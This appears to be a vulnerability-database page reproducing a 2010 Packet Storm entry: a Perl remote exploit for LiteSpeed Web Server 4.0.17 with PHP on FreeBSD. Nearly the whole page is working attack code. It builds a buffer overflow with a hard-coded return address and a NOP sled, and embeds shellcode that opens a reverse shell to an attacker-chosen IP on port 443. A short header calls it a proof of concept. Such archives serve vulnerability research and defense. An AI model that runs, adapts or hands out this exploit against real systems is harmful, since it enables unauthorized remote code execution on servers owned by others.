Lucene search
K

LiteSpeed Web Server 4.0.17 Remote Exploit

🗓️ 10 Dec 2010 00:00:00Reported by KingcopeType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 25 Views

LiteSpeed Web Server 4.0.17 Remote Exploit for FreeBSD and proof of concept for Linu

Code
`# LiteSpeed Web Server 4.0.17 w/ PHP Remote Exploit for FreeBSD  
# bug discovered & exploited by Kingcope  
#  
# Dec 2010  
# Lame Xploit Tested with success on   
# FreeBSD 8.0-RELEASE - LiteSpeed WebServer 4.0.17 Standard & Enterprise x86  
# FreeBSD 6.3-RELEASE - LiteSpeed WebServer 4.0.17 Standard & Enterprise x86  
# FreeBSD 8.0-RELEASE - LiteSpeed WebServer 4.0.15 Standard x86  
# can be used against the admin interface (port 7080), too  
# Xploit only works on default lsphp binary not the compiled version  
#  
# this should be exploitable on linux too (on the compiled SAPI version)  
# the shipped linux version of lsphp has stack cookies enabled,  
# which could be brute forced if there wasn't a null put at the end of  
# the exploit buffer. The compiled SAPI version is exploitable, but then  
# the offsets differ from box to box, so this time FreeBSD targets only.  
# thus on linux this is very tricky to exploit.  
# this is a proof of concept, don't try this on real boxes  
# see lsapilib.c line 1240  
  
use IO::Socket;  
  
$|=1;  
  
#freebsd reverse shell port 443  
#setup a netcat on this port ^^  
$bsdcbsc =  
# setreuid, no root here  
"\x31\xc0\x31\xc0\x50\x31\xc0\x50\xb0\x7e\x50\xcd\x80".  
# connect back :>  
"\x31\xc0\x31\xdb\x53\xb3\x06\x53".  
"\xb3\x01\x53\xb3\x02\x53\x54\xb0".  
"\x61\xcd\x80\x31\xd2\x52\x52\x68".  
"\x41\x41\x41\x41\x66\x68\x01\xbb".  
"\xb7\x02\x66\x53\x89\xe1\xb2\x10".  
"\x52\x51\x50\x52\x89\xc2\x31\xc0".  
"\xb0\x62\xcd\x80\x31\xdb\x39\xc3".  
"\x74\x06\x31\xc0\xb0\x01\xcd\x80".  
"\x31\xc0\x50\x52\x50\xb0\x5a\xcd".  
"\x80\x31\xc0\x31\xdb\x43\x53\x52".  
"\x50\xb0\x5a\xcd\x80\x31\xc0\x43".  
"\x53\x52\x50\xb0\x5a\xcd\x80\x31".  
"\xc0\x50\x68\x2f\x2f\x73\x68\x68".  
"\x2f\x62\x69\x6e\x89\xe3\x50\x54".  
"\x53\x50\xb0\x3b\xcd\x80\x31\xc0".  
"\xb0\x01\xcd\x80";  
  
sub usage() {  
print "written by kingcope\n";  
print "usage:\n".  
"litespeed-remote.pl <target ip/host> <target port> <your ip> <php file on remote host>\n\n".  
"example:\n".  
"perl litespeed-remote.pl 192.168.2.3 8088 192.168.2.2 phpinfo.php\n\n";  
  
exit;  
}  
  
if ($#ARGV ne 3) { usage; }  
  
$target = $ARGV[0];  
$port = $ARGV[1];  
$cbip = $ARGV[2];  
$file = $ARGV[3];  
  
($a1, $a2, $a3, $a4) = split(//, gethostbyname("$cbip"));  
  
substr($bsdcbsc, 37, 4, $a1 . $a2 . $a3 . $a4);  
  
#my $sock = IO::Socket::INET->new(PeerAddr => $target,  
# PeerPort => 8088,  
# Proto => 'tcp');  
#$a = "A" x 500;  
#print $sock "POST /phpinfo.php HTTP/1.1\r\nHost: 192.168.2.5\r\n\r\n";  
  
#$x = <stdin>;  
  
#$ret = pack("V", 0x28469478); # FreeBSD 7.3-RELEASE  
#$ret = pack("V", 0x82703c0); # FreeBSD 6.3-RELEASE  
$ret = pack("V", 0x080F40CD); # JMP EDX lsphp  
  
my $sock = IO::Socket::INET->new(PeerAddr => $target,  
PeerPort => $port,  
Proto => 'tcp');  
  
  
$a = "A" x 263 . "AAAA" x 6 . $ret . "C" x 500;  
$sc = "\x90" x 3000 . $bsdcbsc;  
  
print $sock "POST /\x90\x90\x90\x90\x90\x90\xeb\x50/../$file? HTTP/1.1\r\nHost: $target\r\nVVVV: $sc\r\n$a KINGCOPEH4XXU:\r\n\r\n";  
  
while (<$sock>) {  
print;  
}  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation